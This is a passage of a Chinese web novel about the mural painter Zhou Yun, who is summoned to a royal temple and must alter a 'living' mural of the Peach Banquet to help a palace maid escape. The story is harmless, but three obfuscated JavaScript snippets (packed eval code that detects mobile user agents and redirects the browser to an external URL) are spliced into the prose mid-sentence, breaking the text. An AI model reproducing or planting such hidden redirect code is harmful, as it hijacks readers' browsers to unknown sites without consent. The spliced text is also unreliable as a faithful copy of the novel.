《壁画师之活经降魔变》 1. 第一章 信使 “好!好!”叫好声在须弥山中回荡,惊得林中鸟雀乱飞。 “不愧是周画师,这降魔变画得比京城里的还传神。” 古寺大雄宝殿内,丰腴的供养人一面夸赞,一面被人搀扶着从架子上走下。落地时撞翻了地上的颜料盘,五颜六色的地面与其它五面的壁画交相辉映。 “工钱这就让人给您。” “您能满意,实在是太好了。”周蕴努力扯着笑。 不管了,钱到手了就行。 周蕴熟练地攀下木架,脖子突然麻了一下。 ——“劝君更尽一杯酒(注1)......” 风沙中幽幽飘来一句既熟悉又陌生的诗。 又是这个梦,现在都做到白日里来了。 “周画师。”供养人的侍女忙上前想扶住周蕴。 “没事,”周蕴回绝了她的好意,矫健地跨过满地色彩,平稳落地,“这几日通宵赶工,脖子不大听使唤。” 热闹过后,周蕴站在大殿中,手里揣着沉甸甸的钱袋,目光从绘着人间繁华景象的藻井,落到南壁的降魔变上,这一幅可费了她不少功夫,单单如此巨大的壁面,对她就是一次不小挑战,偏偏还遇上个挑剔无比的金主。 不就去过一次京城,为了炫耀这段不凡经历,这厮还提出一堆闻所未闻的题材,她无奈只能根据要求凭经验靠想象构思出画面,顶上这个“人间井”也是。 原创也就罢了,每次都能挑出点毛病来,改了几次最后不还改成了原状。 算了,跨出闭关了大半年的大殿,周蕴吐出一口浊气:这银子够在家里躺上一年半载了。 想到这,周蕴的步伐变得轻盈起来,平日里督促自己练功的父兄,这会应该在东面那座山头新开凿的石窟寺里画降魔变。她当时跟着去踩过点,没个四五年完不了工,这下在家偷懒也不会被骂了。 斜阳落在大雄宝殿前的菩提树上,长长影子盖住了经幢,越过了高耸的山门,一半落在寺外。 寺外是崇山峻岭,这须弥山绵延千万里,尽头在哪周蕴也不知道,他们祖孙三代都没人出过这山。 然而还没等周蕴出寺门,就听得马蹄声近,下一刻就见一匹马急匆匆在门口停下,一位打扮极为考究的男子从马上一跃而下,三两步跨入院中,掀起好大一阵沙尘。 “敢问姑娘,周蕴周画师在寺中吗?”男子朝周蕴恭敬行了一礼。 周蕴:“???” 虽然爱钱,但她向来最怕麻烦,而这位远道而来的男子看上去就很麻烦。 “不巧,她今晨刚离开。”周蕴答得礼貌又大方。 “请问她何时回来呢?” 周蕴摸了摸鼻子:“壁画完工,她不回来了。” 男子还想追问,忽听得一声地动山摇的呐喊。 “周画师!周画师留步!” 远处冒出个肥胖的人影,正是那位梦魇一样的供养人。 周蕴握紧了拳头。 “我刚跟方丈谈好了,要在后院那块空地建一座藏经阁,到时再请您来。”供养人哼哧哼哧跑到面色铁青的周蕴面前,顾不上满头大汗,催促追在身后的侍女取来一块金锭,“知道您的规矩,这是定金。” “您......就是周画师?”男子又惊又喜,尽管竭力掩盖嘲笑之色,但还是被周蕴敏锐捕捉到了。 “不是,他认错了。”周蕴面无表情,转身欲走。 供养人这才察觉不对,忙上前打圆场:“您这身打扮,莫非是宫里的人?” “是,在下正是京城来的信使。”男子朝供养人作了一揖。 “失礼失礼。”供养人一面回礼,一面使眼色让侍女把金锭塞给周蕴,借此拦住她。 “您找周画师何事啊?” “宫里的事,还请您避一避。”信使却不领情。 这边好不容易回绝了金锭的周蕴无奈,只得与信使来到经幢旁,接过所谓皇家的信件,周蕴有些惊讶。 信封脏污不堪,除了勉强能看出自己的名字,余下都被泥水覆盖,看不出什么,许是因为路上奔波所致。 拆开信封,里面却别有一番景致。说是信,实则更像是本精装的拜帖,无论封皮还是信纸,用的都是极为名贵的材料,细看还刻有精致的暗纹。 信并非来自宫里,而是出自皇家寺庙万佛寺方丈之手,信中写道: 前日,敝寺前朝遗留降魔壁画,夤夜生变,丹青化形,彩壁通灵,魔影躁动,阖寺惊惶,日夜诵经尤不能降。素闻阁下乃壁画圣手,最擅绘降魔经变,伏请遥临,挥毫以镇妖邪,复归法界清宁。 沙门无相稽首 阅毕,周蕴啪一声合上请帖,斩钉截铁回绝:“不去,请回吧。” 虽然没出过山,但她又不是与世隔绝,即使涉世不深,但在壁画经典的濡染下,人心的险恶她倒也了解颇多: 活经变,一听就知道是人在装神弄鬼,很麻烦的样子。 为了赶在今天这个“好日子”完工,她已经几晚上没合眼了,如今只想好好回家躺几天。 况且,她觉得一辈子在山里躺平也不错,反正须弥山乃是圣山,朝拜者终年不绝,山中寺庙林立,还有众多供养人不断投钱新建寺庙石窟,从她祖上到现在几代人,就算加上自己的后代都也画不完。 “您再看看,背面!背面还有字!看完再决定要不要上京也不迟。” 信使眼见就要无功而返,忙道: “路上搞脏了,您擦擦。” “这种事情该去找法师吧,找我个画画的做什么?” 周蕴不解,但还是擦了擦信封背面,几个金色的大字赫然显现 ——奖金一万两。 “说实话,降魔变这祖传的手艺,我最在行了,走吧。” 周蕴边说边大步跨出寺门,转头发现信使还愣在原地,“哪边?” “您......不用准备准备?” “不用,画画的行头都在身上。包路费和食宿吗?” “包的包的。”信使慌忙跟上。 周蕴倒也没有吹嘘,放眼整个须弥山,只要有壁画,就有她们家族画的降魔变。 这任务虽然麻烦,但想想 ——这之后,就能躺平一辈子了。 还是挺值当的。 而且皇家、寺庙、方丈、高僧,应该不会骗人的吧。 *** 呼啸的风携裹着黄沙模糊了视线。 ——“到时我们要是失散了怎么办?” ——“我们来定个暗号吧,如果真的失散了,就通过这个相认。” ——“好,就那一句‘劝君......’” “周画师,我们到了。”信使的声音惊碎了缥缈的梦。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467800|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >颠簸了整整一个月,总算到了。 周蕴只觉得整个人都要散架了,她揉了揉太阳穴,掀开帘子,眼前的景致却让她瞬间清醒。 她从未见过如此宏大的建筑,叫做城也不为过。 如果说须弥山是寺庙建在山中,那这皇家的万佛寺就是山立在寺里。 从山门前仰望,黄色的琉璃瓦自山下绵延至山顶,塔殿楼阁点缀其中,廊道蜿蜒,檐角高啄,零星一两点树的绿,反而成了红墙黄瓦中的衬色。 “周画师,请。”见周蕴一副没见过世面的样子,信使只得催促。 二人在偏殿坐了一会,前去通报的小僧请来了位慈眉善目的高僧,信使功成身退,起身告退。 “周施主一路辛苦了,老衲无相。” 高僧身着朴素的袈裟,朝周蕴行了一礼,“早就听闻周施主画工一绝,今日一见,果然名不虚传。” 周蕴捋了捋,又捋了捋,实在想不出刚见面怎么就能看出自己画工精湛的,但鉴于这位方丈是国中声名远扬的高僧,她也不好说什么。 “谬赞了,我们家世代住在穷山僻壤,着实不敢在外头显摆,更谈不上画工一绝。” 周蕴此中夹着试探。时值佛法盛行,佛寺佛窟遍地开花,壁画师更是人才济济,派系分支数不胜数,周蕴从来须弥山朝圣的人口中也能知道一二。换言之,怎么选应该也都选不到她这么低调的一支头上,况且家中还有父兄叔伯,也都是壁画大家,为何就独独选了她。 周蕴百思不得其解,那位信使又一问三不知,只知道带她来京城一事,如今见了正主,当然要问个清楚。 “您这祖传的降魔变,在京城可是颇负盛名。” 无相从小僧端来的盘中取出一条丝绢,“去年有位施主,也是须弥山中人,他说您的画工集整个家族之大成,还展示了施主亲手绘制的降魔变,并将其印在饰品器物之上。一时之间,这些物件风靡整个京都,上到王公贵族,下到平头百姓,无所不有,临摹的画师更是不计其数。” 周蕴僵硬地接过丝巾,果真是那位金主一年前请她画的一副小样。周蕴记得,当时那厮说的是,先画个样品给他瞧瞧,满意了才能把大雄宝殿的壁画交给她。 不过周蕴也只是怒了一下,毕竟收了人家一锭金子作定金。 “还有,” 无相完全没注意周蕴一系列表情变化,继续从盘中取出另一条丝巾,认真道:“这是近几日京城最新风靡的款式,也出自您之手。这画工、这构图、这巧思,远远超过此前那一幅,可见施主非但天赋才华过人,还不断追求精进,着实令人钦佩。贫僧也是刚刚才拿到手,还没细看您就来了。” 周蕴恍然大悟,难怪刚刚......等等—— 周蕴脸色一沉,那图案正是刚完工的“人间井”的小样! 近几日?呵,不用想也知道是某位仁兄的手笔,这速度,也真难为他了。 见高僧再次转头看向那个小僧的盘子,周蕴怕又天降什么惊喜来,忙询问正事:“活壁画是怎么回事?” “这个啊,”无相闻言坐正,笑道,“不急,不急。先喝茶。” 周蕴依言端起茶盏,抿了一小口,风将屋外檐角的铎铃吹得叮当作响。 “无相师傅。” 周蕴轻轻放下茶盏,浅笑道:“活壁画,降魔变,其实根本就没有吧?” 2. 第二章 活壁 无相眼底掠过一丝惊异,随即哈哈笑起来:“周施主聪慧。” 他屏退小僧:“妖魔没有,但活壁画却是真的。此次请你们前来,是想让你们帮个忙,帮它添几分色彩,仅此而已。” 赌对了。一些猜想被印证,周蕴暂时松了口气,但明显这位德高望重的和尚还隐瞒了不少东西。 “那酬金......” 无相笑道:“施主放心,事成之后,每人一万两,决不食言。” “行,那我先去看看吧。”周蕴起身。 来都来了,活壁画这么稀奇的玩意儿,她确实也很好奇,再说了早完事就能早点拿到钱早点回去躺平。 “不急在这一时,施主大可先休息几日。”无相真诚劝道。 见周蕴执意前往,无相也不再劝阻,招来小僧带路。 “到那之后,我师弟会亲自接待您。” *** 烈日当空,周蕴跟着小僧左弯右绕,行过几座门楼,攀上台阶,头顶时有飞虹廊桥,脚下偶见金池芳甸,恍如在天宫中穿梭,最终二人在一座高阁前停下。 高阁底下几层嵌在山壁中,加顶上共计十三层,每层皆有收分又设有平坐,斗拱密集,戗角高翘,栏杆交错,宛若一座巨大的莲台,上有耀着金光的匾额,题曰:须弥界。 见得这两个熟悉的大字,周蕴才稍稍有了些真实感。 踏入阁中,暑意刹那全消,就像进入一个暗无天日的洞穴。阁楼无窗,外面所见窗口皆是摆设,即使周围点着许多长明灯,亮如白昼,依旧透出森森寒意。 正厅不大,周蕴跟着小僧拐进一条狭长的廊道,尽头是石砌的楼梯。 周蕴心中有些不安。 “你们这次请了多少画师啊?” 周蕴也画过几个地下墓穴,自然不惧这阴暗洞窟,不安的来源是阁中整片整片空白的墙壁。与外面雕栏画栋、极尽繁复的装饰风格不同,这须弥界里所有的墙和天花皆为素色,有的甚至只打了个胚。 这些素壁在周蕴眼里,俨然是干不完的活。 阁楼从外看有十三层,但进来周蕴才知整个阁几乎是挖空了整座山,每层占地甚广,且按层高来算,每层之间至少有一层暗层,而石梯又还有往下的通道——若要填满这些素壁,不知要多少壁画师几辈子。 “天南地北都有。”小僧答。 周蕴只觉得阴风阵阵,将手藏进袖子,跟着小僧拾级而上。 到得第八层,小僧带着周蕴穿过又一条长廊,尽头处豁然开朗,是个巨大的方形厅堂,堂内徒有四壁,未见任何摆设,东面白墙上,有一高大石门。 周蕴观察之时,小和尚已经敲响了石门,洞门随即缓缓打开。 “周画师里面请。”眨眼间小和尚已经走到门口。 “师叔在里面等您,小僧就先告辞了。” 望着小和尚逃也似离开的背影,周蕴无比后悔。 算了来都来了,走一步算一步,她壮着胆子往石门走去。 门内同外面一般明亮,占地、空间和装饰也与外头相仿,唯一不同之处只有内室正面的墙边,摆了一块方形石板和一支画笔。 “女施主好,贫僧有相,这厢有礼。” 四周石壁传来一老者的声音,同时石门缓缓合上。 “大师?您在......” 这位有相师傅只闻其声未见人影,石壁回音又极强,周蕴全然听不出声音究竟从何而来。 这时,她才注意到石门内侧上刻有两个大字:八界。 念起来莫名地耳熟。 “贫僧我无处不在。” 周蕴暗自感叹:“无相有相,有相无相。” 话虽如此,周蕴倒也不是真的相信有那么邪门,相反,成日与壁画中的神鬼为伍,她认为这明显是在装神弄鬼。只不过初到京城,她尚且不确定这种做法是不是京中高僧的爱好,或是这边的僧人没有“出家人不打诳语”的戒律。 总之,就像她的画居然能风靡全城一样,不理解,但尊重。 任务做完,钱给够就行。 有相哈哈大笑起来:“女施主倒是通透人。” 周蕴心中一凛,虽是笑着,但这位高僧的声音却不带任何情绪,更像是一个音一个音的组合。 在现下的情景下,向来自诩一身正气,不信妖邪的周蕴,信仰也渐渐松动。 “若是准备好,那我们便开始吧。” 有相比他那师兄干脆许多,这点倒挺对周蕴脾气。 “您说。”周蕴放下随身包袱。 “第一步,先画满四壁。” 周蕴登时气笑了,正气怒气一道炸上天灵盖:“开门吧,这钱我不赚了。” 她就是来捞一笔,顺道看热闹的。 画满四壁?每一面都堪比一座大殿,还四壁!以她远超同行的速度,画完至少也得整整一年。 “施主先别激动。” “不是您想的那样。” “图案是现成的,您可以在画板中选取。” “您先拿起来看看。” 在此情形下,有相还是极有耐性,吐出的每一字每一句都毫无起伏且停顿均匀。 我信你的邪! 周蕴内心骂骂咧咧,但还是上前拿起那块不起眼的石板。 石板大小适中,两只手掌捧起来刚刚好,而且重量较普通的石板轻上许多,只不过除此之外,没有任何特别之处。 “拿起来了,也看看了。” 周蕴指腹摩挲石板边缘凸出来的刻纹:“然后呢?” 高僧顿了一会,说:“你碰一下石板中间。” 周蕴狐疑地用指尖轻点了石板最中间,整个石板骤然亮起,形成一个小光幕,其中还现出图案和文字,色彩极尽斑斓艳丽。周蕴吓了一跳,冷静下来后,又觉得似乎在哪见过。 观察了一会,确认没有危险,周蕴开始大着胆子研究起来:光幕被三道横向的云纹分成上下三分,上面一行最细,又纵向分成四份;中间一行所占幅面最大,接近一半,与上面一行一样都是空白;下面一行所占幅面不大,却是重头戏—— 左侧是同目录一样的金文,标题有“景”、“人”、“物”、“佛”、“神”......周蕴目光停在最下面一个标题“预设”上,明明这词她从未见过,且凭她的学识也无从解释,但她好像立刻就能意会其中涵义。 与此同时,脑中也突然冒出一个陌生又熟悉的词——屏板。 周蕴下意识伸手点了点那个名为“预设”的标题,光幕没有半点反应。一系列动作后,她自己也觉得荒谬。 “你需要先选一块壁画,才能在上面画画。”有相说道。 周蕴依言选了第一块壁画,又点了“预设”。最下方一行右侧本来的空白处突然出现了许多个小图,每个图都有序号,其中绘有丰富的壁画场景,既有道教的五圣朝元图、八仙过海图,又有周蕴熟悉的降魔变、鹿王本生图,有名师大家之经典,也有无名画师稚嫩却灵动之作品,细看线条、笔触、颜色,各个年代、各个流派都涵盖在内,有不少她还临摹过。 “善哉,施主首次运用,就如此得心应手,想来定能完成任务。”有相不吝夸赞。 听起来不像是什么好话。 被这么一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最中间被众神仙簇拥的是雍容华贵、锦衣丽服的西王母,席上不但有太上老君、太白金星等仙家,还有西天的佛祖菩萨。仙宫金碧辉煌、雕梁画栋,奇珍异宝不计其数,桌上鲜果食物琳琅满目,宫娥、侍卫、飞天不计其数,一派盛大之象。 之所以选择此题材,一来在佛教圣山须弥山中,周蕴难得有机会画道教题材,二来是因为刚才顶着烈日走了许多路,又上了八层高楼,确实是渴了。 “好了。”周蕴放下画笔,十二分的满意。 “任务算是完成了吧。” “施主莫急。”有相慢条斯理道。 “台才搭起来,戏还没唱呢。” “......” 就知道没这么简单。 “现在,请选画中一个人物作为这出戏的主角。” 周蕴丝毫不带犹豫,提笔就要选端坐正中的西王母。 有相的声音幽幽响起: “温馨提醒,选配角会容易些。” 周蕴十分听劝,笔锋一转,点了点王母旁边端盘的年轻宫娥。 “善哉。”有相毫无情感地夸赞,“接下来你的任务就是帮她逃出壁画。” “???” 周蕴不确定道:“要我把她扣出来?” 话音未落,壁画竟然自己动起来了。 不知是触动了什么机关,画中所有人几乎同时摆脱原有姿势动了起来,敬酒的仙君仰头将盏中仙酿一饮而尽,奔跑的宫娥急匆匆将迟到的菜品呈上,高台上的飞天舞者旋转腾跃,彩带随风飘扬。 虽然仅有画面,但其神采之生动,使人仿佛能听见酒盏相碰之声,恭维之语好似就在咫尺。 壁画真的活了。 周蕴只觉得自己的信仰碎得连渣都不剩。 3. 第三章 盛宴 “温馨提醒,请注意主角。” 视线和思绪都被眼花缭乱的场景占据,周蕴还未得及反映,就见画风突变,一群天兵天降气势汹汹冲入席中,围住一个跪伏在地瑟瑟发抖的宫娥。 这宫娥不是别人,正是周蕴亲自挑选的主角。宫娥的脚边,是摔碎的玉盘和满地的蟠桃。 周蕴茫然了一瞬,脑中蓦地闪过一个故事——一位天庭仙官因在宴会上失手摔碎了一个盘子,被处以极刑贬到人间,成了江河里的妖怪。 这宫娥的结局大抵是如此了。 “您可在光幕中间的空白处绘制物品,来改变画中故事的走向。”有相及时提醒。 周蕴从冰冷的话语难得地感受到了温馨,立即提笔,地上一个摔烂的蟠桃上瞬间多了一条细长的虫子。 说时迟那时快,侍卫刚上前准备架住宫娥,下一刻虫子骤然变大,砰的一声炸开,巨大的冲击力掀翻了周遭的一切事物,神仙们各凭本事闪开,只剩满地狼藉。 却见平地刮起一阵黑风,暴风中央的虫子蓦地变成一头庞大的猛兽,尖嘴猴腮,却长了个野猪鼻,吼声和身形如巨狮,尾巴又似烈马,东拼西凑怪模怪样,实在看不出是何种属。 只见它上蹿下跳,时而喷出炙热炎火,时而卷起呼啸狂风,巨柱歪斜,梁枋坍塌,整座大殿登时摇摇欲坠。 兵荒马乱中宫娥得以逃脱,混在人群中冲出大殿。 危机已解,周蕴得空思考适才发生的一切—— 她其实只画了一条虫子,后面虫子变成四不像,还有大闹蟠桃会都仅仅是她画时的想法,并未绘在壁画上。 为何这活壁画能知道她心中所想? 周蕴还没思考出个所以然来,危机又再此降临。 适才那两个捉拿宫娥的追兵此时突然出现在不远处,来势汹汹。 不去帮助围攻四不像,反而来擒一个只犯了个小错的宫娥,这般分不清轻重缓急,宫廷秩序就那么重要吗?何况若非摔烂蟠桃,那四不像不知如今在谁的肚子里了。 周蕴内心还没谴责完,就见两个侍卫各占方位,同时抛出腰间的捆仙绳,顷刻间两条金光闪闪的绳索如长蛇一般,灵活舞动左右夹击朝宫娥而来,没有留下一丝空档。 忽然之间,前方平地长出一棵巨大的柳树,细长的柳枝与两条金蛇缠作一团,越用力反而缠得越紧,最终还是两名天兵隔空催动灵力,硬生生扯断了柳枝才得以脱困,而宫娥也趁机逃远。 时间紧迫,又要精准推算距离,如此下去非长久之计。 周蕴大脑飞速思考,手中画笔也片刻不停,一棵潦草的树又一次将长蛇拦下,这次对方已有所准备,虽然顺利挡住袭击,但在混乱之中,宫娥还是被长蛇割伤了脚腕。 就在这时,周蕴眼睛一亮,看到“屏板”最下面一行—— 平日里的习惯根深蒂固,加上刚才过于紧张,一时竟没想到底下还有现成的素材。 宫娥再一次被逼到绝境,危急时刻,忽见银光一闪,一道剑光劈开了她身前的绳索,随即剑锋一转,又一道银光划过,直接斩断了即将缠上宫娥右腿的捆仙绳。 一位容貌俊朗的白衣仙君从天而降,轻描淡写的两招,就帮她逃过一劫。 这是目录“神”里现成的人物,此前绘制壁画时,周蕴为了节省时间,一些配角用了“屏板”提供的人物。不过每一个她都精心调整修改过,无论是五官外貌还是饰品法器,故而每个宫娥、天兵、甚至是鸟雀、蟠桃都各不相同。但这个白衣仙君就是完完全全现成的,未做任何修改。 两名天兵紧随而来,见法宝被毁勃然大怒,一人挥舞大刀,一人手持长戟,朝二人杀来,周蕴还在想要给白衣仙君添点把什么厉害武器,两名天兵就已经狼狈退走了。 周蕴颇为满意。 虽然暂时安全,但天兵随时可能追来,白衣仙君想拉起跌倒在地的宫娥,却发现她脚踝上的血已经染红了周遭一片土地,必须立刻处理,周蕴也及时贴心地送上草药。 二人都是有修为的仙人,调整不到片刻就已大致恢复,就在他们准备继续跑路的时候,突然阴风怒号,四下一尘不染的云海好似染上了一层浓墨,乌压压一片像...... 周蕴心底一沉,不是像,乌云正是朝二人来的天兵,他们摆成一个巨大的阵法,一眼望不到尽头,壁画里所有的天兵天降都来了。 至于吗,不就打碎个盘子。 绘出这么多天兵,周蕴本意是想体现仙宫之巍峨、天庭之威严,这下好了,搬起石头砸自己的脚。更甚者,原本每个天兵手上的兵器都只是普通的长剑,后来被她精心地改成了传说中的各类神兵利器,还不带重样。 而且那四不像也太弱了吧,但凡闹腾一点,也不至于有这么多人啊。 周蕴一心两用,这边将各方各面谴责了个遍,另一边笔下已经出现了她的解决之法。 为首的天将朝二人轰来一击重拳,下一刻金光乍现,一个金色的罩子凭空出现,把二人护在中间。周蕴有些意外,她硬加上的金罩,此刻居然变成由那白衣仙君所操控。 周蕴依稀想起刚才画了树后,树下凭空出现了一小块草地。 难道壁画会自动修正违背常理的东西? 不等她细想,天兵大阵的第二击挟排山倒海之势轰来,虽然有惊无险,但金罩表面已经被一道裂缝贯穿,随时有崩裂之势。就在这时,金罩骤然缩小,裹着宫娥风驰电掣,冲向已经把二人团团围住的天兵。 只要速度够快,就能在天兵反应前冲出重围。 白衣仙君应该是这么想的,但这却完全打乱了周蕴的计划——天兵大阵此刻已经准备就绪,哪有那么容易被破开,而且金罩能不能再受一击还不得而知。 周蕴不得不将计划推翻重来,然而接下来的一幕却令她始料未及。天兵大阵的第三击没有停歇再次轰出,直冲白衣仙君,这一击能量之强,宛如凝聚了亘古洪荒之力,一阵天崩地裂后,阵中仅剩下一柄残剑。 周蕴震惊无比,画笔也不由得停下,直至看到金罩再次成为攻击目标,裂纹满布,她才缓过神来。 没有时间了,慌乱中周蕴突然注意到画面一角似有一条飘逸的丝带,一道弧线横空划过,下一刻弧线变粗、染色,成了丝带的一部分,它精准卷住了宫娥的细腰,堪堪在金罩粉碎的瞬间将她救出。 刚才想的没错,壁画确实会自己修正。 这是一位飞天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467802|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣带。 飞天全身散发着温暖的光带着宫娥一路往西,在乌泱泱的天兵大阵衬托下,好像她才是真正的神明。而另一边,自打白衣仙君粉身碎骨后,宫娥就一直呆呆地看着地上的残剑,飞了一段距离后,宫娥像是意识到什么一样突然回过神,望向救她的飞天。 二人的速度极快,奈何身后的天兵穷追不舍,心乱如麻的周蕴还在脑中疯狂思考,想找到个既不拖累他人又能全身而退的逃生方法—— 就在此刻变故陡生,宫娥突然解开飞天的丝带,长长的丝带随风乱舞,而宫娥自己也坠入天兵的大阵中,被处以极刑。 四面壁画光芒陡盛,白光将一切喧嚣吞噬殆尽,待到重新恢复正常时,又是那副一派祥和的蟠桃盛宴图。 “你失败了。”有相的声音还是那样无波无澜。 “为什么?”周蕴强压心中怒火。 她有太多想问的,故事为何这样发展,为什么天庭这样冷酷,为什么好人没好报,为什么宫娥会作出这样的选择...... “你画时的初心,就已定下所有事物发展的轨迹。”有相慢悠悠说道。 周蕴哑然,她确实无法反驳。 壁画师,特别是她这种专门为寺庙道观绘制壁画的,画时自然不会想营造出其乐融融、与民同乐的场景,相反,他们的每一笔每一画就是为了体现天庭威严或佛土神圣的。 如此想来,不近人情的天规戒律和天兵的冷酷无情似乎都有了依据。 “那白衣仙君呢?”周蕴问,“他怎么就甘愿这样赴死?” “他也是你创造出来的,你在画他的时候想的什么,他就被赋予了什么使命。” 画出白衣仙君的最初目的,正是让他救下宫娥。 “这也太......不近人情了。”周蕴只觉得不可思议,“他就没自己的想法?” “没有,都是你的想法。” 行,石壁是你们的,裁判也是你,怎么说都有理。 周蕴不再纠结,疲惫地就地盘腿而坐,此时的她只想躺平一下。 “你还有两次机会。”有相的声音打碎了周蕴的美好愿景。 “相信这次你定能帮她逃出壁画。” 话音刚落,壁画又开始动起来。 周蕴慌忙喊停却惨遭拒绝。 “时间紧迫,时机很重要。施主快请吧。” 周蕴只觉得此刻他的声音格外冷酷无情。 她还没来得及躺平!她还没来得及复盘! 挽回无效,周蕴只得硬着头皮重新观察壁画,这次她看到了刚才错过的内容: 此时宴席已开,只见王母吩咐了一声,宫娥们立即屈膝点头称是,然后便端着盛满新鲜蟠桃的盘子走向宾客,自己的主角也在其中。 周蕴突然意识到必须从源头解决问题,杜绝悲剧的发生,于是她毫不犹豫提笔,在宫娥一脚踩空之际,拉长了她衣服上的飘带将她稳稳扶住。 周蕴长舒了一口气。 然而一口气还没吐完,宫娥往前走了还不到两步,就见一条虫子猛地从一颗蟠桃中窜出,然后变大,再砰的一声炸开。 巨大的冲击力掀翻了她手中的盘子,蟠桃掉了一地。 4. 第四章 四不像 合着跟盘子没完了。 周蕴无语,随即意识到必须立刻出手。拜她自己所赐,那些只顾天庭戒律的神仙定然不会放过宫娥,所以务必抢在他们下达命令前让宫娥逃跑。 和上一场一样,四不像折腾了一圈就窜到别处撒野,留下满地狼藉,众神也都纷纷散去,这时画面中一位身着高级官服的女官指了指女主,随即两名天兵气势汹汹上前。 周蕴:“......” 有了经验之后,周蕴添加东西时也更加慎重,之前无论是虫子还是白衣,即使创造者和赋予使命的人是自己,但走向往往背离她的初心,甚至会以匪夷所思的方式偏离轨道,造成更大的麻烦,所以周蕴总结出一个规律——改动越小越好。 于是她转成以引导为主,但她很快又发现这条路也行不通,即使提前知道走向也无法躲掉的。她尝试了许多方法,比如让混乱的风暴、倒塌的梁柱一步步将宫娥逼到宫外,或是引来鸟雀衔住她的衣角往殿外拽去,但宫娥完全没有逃命的觉悟,对这些指引无动于衷,依旧矜矜业业守在她的岗位上,硬是拖到了女官下达抓捕命令。 再恨铁不成钢也没用了,周蕴当即调整策略,正欲落笔之际,突然一道白影闪到宫娥身前,拉着她往殿外逃去。 是白衣仙君。 是了,虫子在,白衣仙君自然也在,但这未免也太及时了。 周蕴无奈只能按兵不动见机行事,她心中隐隐觉得,下一个打乱计划的就是飞天。 突如其来的联想提醒了周蕴,既然意外迟早会找上门,那就化被动为主动。凭借高超的眼力,周蕴很快在殿外不远处找到了那位飞天,一开始画她时周蕴就将其定义为替补的舞着,她怀抱的琵琶虽破旧但却是上好的木料,但最终也不能在蟠桃盛宴上翩翩起舞。 一道优美的长线划过壁画,飞天的飘带利落地卷住白衣仙君和宫娥,有她帮忙,二人的速度更是提升了一个境界。 这是周蕴首次与总结出来的规律相配合,还挺成功。 但,要逃去哪呢? 望着飞速移动的三个点,周蕴猛地意识到这个问题,这个必须考虑却从开始就被她忽视的问题。 一直以来,因为形势过于紧迫,情境瞬息万变,周蕴每每想停下来思考,就会被突如其来的变故打断。 就出神这么一会功夫,周蕴发现场面又失控了。 三人逃得快,天兵追击的速度更快,眼见就快追上,白衣仙君从袖中取出金罩,眼看事情又要按原来的轨迹发展...... 说时迟那时快,周蕴斜里画出数道弧线,远处刮来飓风,随即一阵地动山摇。 三人和行进中的天兵大阵无人注意到这细微的变化,但下一刻它们不注意也得注意了——那只四不像去而复返,嘶吼着冲入天兵大阵,乌泱泱的大阵中当即人仰马翻。 有了第一次成功的经验,周蕴胆子大起来,这次她把绘制初心同壁画的修正原理结合,将另一个变数——四不像重新召唤回来。画那几道风时,她心中想道:这是四不像刮出来的风。 她又成功了。 没了宫殿的束缚,四不像放肆闹起来颇有毁天灭地的架势,所到之处飓风夹带雷霆,它口中时不时喷出滚滚烈焰,亦或是撕咬周围活物,天兵天将全然不是其对手。 烈火焚天,顷刻之间,天庭宛若炼狱。 越乱越好。 周蕴双目被壁画染红,飞天和白衣灵活敏捷地带着宫娥左躲右闪,望着他们飞速离开的背影,周蕴甚为欣慰,准备专心来思考一行人的去处,就在这时,他们身后突然射来一道黑影。 紧接而来的是暴风和黑火,丝带被引燃、烧断,白衣仙君和宫娥被风暴裹挟着飞速旋转下坠,周遭黑烟滚滚,周蕴也无法看清二人的身影和具体方位。 千算万算,硬是没算到四不像居然无差别打击,它在天兵大阵里很快就没了兴致,远远瞧见这边的飘带玩心大起,登时就扑将过来。 千钧一发之际,黑雾中金光大盛,正是那个熟悉的金罩——白衣仙君关键时刻总是格外“靠谱”。 头脑中已经不自觉把后面的情节预演了一遍,周蕴心道不妙,这时也顾不得别的了,必须强行画一个较大的事物改变走向,就算有更多的变数—— 画笔刚落,就见形势再一次地覆天翻,金罩携一人影冲出风暴,又罩住飞天,如彗星般朝远处射去,很快只剩下一个黑点。 但金罩中的人影不是宫娥,竟是白衣仙君。 又发生了什么?!! 没了金罩的光,周蕴无法锁定宫娥的具体位置,不管了,她手起笔落,一只金光闪闪的麒麟凭空出现,瑞兽咆哮着扑上前咬住四不像的背,两只巨兽撕咬在一起。 以进攻来代替防守,是一步险棋,但现在看来还算奏效。 接下来,只要找到宫娥并带走她就行了,天兵天将暂时应该也跟不上来,一切都在往好的方向发展,周蕴握笔的手放松了些许。 就在此刻,只见黑风热浪中似有一人影被狂风大力甩向战场,混乱中四不像挥爪一拍,人影登时灰飞烟灭。 周蕴:“......” 整个画面随即亮起刺眼的光,天宫楼阁、瑞兽凶兽,无论多么高大巍峨、残酷凶猛皆在一瞬间被吞噬。 不一会儿,白光散去,壁画内容又回到其乐融融的蟠桃宴会。 一片寂静,这下有相识趣地没率先开口。 “这怎么回事?” 